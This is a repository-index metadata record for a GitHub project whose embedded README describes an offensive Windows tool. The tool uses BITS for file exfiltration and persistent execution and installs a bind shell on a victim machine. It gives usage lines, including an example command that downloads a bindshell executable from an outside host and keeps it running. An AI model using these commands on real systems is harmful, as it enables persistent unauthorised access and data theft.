{"id":13841041,"url":"https://github.com/d3adzo/shepard","last_synced_at":"2025-07-11T10:31:04.699Z","repository":{"id":47130875,"uuid":"300089976","full_name":"d3adzo/shepard","owner":"d3adzo","description":"In progress persistent download/upload/execution tool using Windows BITS.","archived":false,"fork":false,"pushed_at":"2021-09-13T03:48:18.000Z","size":86,"stargazers_count":43,"open_issues_count":0,"forks_count":3,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-08-05T17:26:28.404Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/d3adzo.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-09-30T23:40:21.000Z","updated_at":"2024-05-31T11:57:44.000Z","dependencies_parsed_at":"2022-09-16T04:01:07.331Z","dependency_job_id":null,"html_url":"https://github.com/d3adzo/shepard","commit_stats":null,"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d3adzo%2Fshepard","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d3adzo%2Fshepard/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d3adzo%2Fshepard/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d3adzo%2Fshepard/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/d3adzo","download_url":"https://codeload.github.com/d3adzo/shepard/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225713097,"owners_count":17512549,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:01:01.880Z","updated_at":"2024-11-21T10:31:30.402Z","avatar_url":"https://github.com/d3adzo.png","language":"C#","funding_links":[],"categories":["C# #"],"sub_categories":[],"readme":"# SHEPARD \n\n## BITS\n\nThis is a persistance tool using Windows Background Intelligent Transfer Service (BITS). \n\n### Functionality\n\nFile Download, File Exfiltration, File Download + Persistent Execution\n\n### Usage \n\nRun shepard.exe as Administrator with the following command line arguments:\n  \n  `-d \u003cremoteLocation\u003e \u003cwritePath\u003e` : regular file download to a local path of your choice\n  \n  `-e \u003cremoteLocation\u003e \u003clocalPath\u003e` : regular file upload from a local path of your choice (only sends to IIS server, this is a limitation with BITS)\n  \n  `-dr \u003cremoteLocation\u003e \u003cwritePath\u003e [optionalFileArgs]` :  file download to a path of your choice, and will attempt to maintain persitance. The downloaded file will attempt to run with optionalFileArgs and BITS will check back every 30 seconds to make sure the file is still running on the compromised system.\n  \nRunning this executable with no arguments or an incorrect amount of arguments will cause shepard to exit cleanly.\n\n## BINDSHELL\n\nThe server (victim) is written using C#. It listens on port 6006.\n\n### Victim Usage \n\nRun shepardsbind_serv.exe with no arguments.\n\nThe client (attacker) is written using Python and takes one argument: the IP address of the victim's machine. \n\n### Server Usage\n\n`shepardsbind_recv.py \u003cvictim's IP\u003e`\n\nRunning shepardsbind_recv.py with no arguments will return an error.\n\n## Using them in conjunction\n\nThe only executable that must be on the victim's machine is shepard.exe. Host the download bindshell executable to a publicly accessible place. \nShepard will download and run the bindshell executable, and the user can now use the python reciever. If the shell is found and killed, it will restart after 30 seconds.\n\nExample: `shepard.exe -dr http://location.com/shepardsbind_serv.exe C:\\Users\\Administrator\\file.exe`\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fd3adzo%2Fshepard","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fd3adzo%2Fshepard","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fd3adzo%2Fshepard/lists"}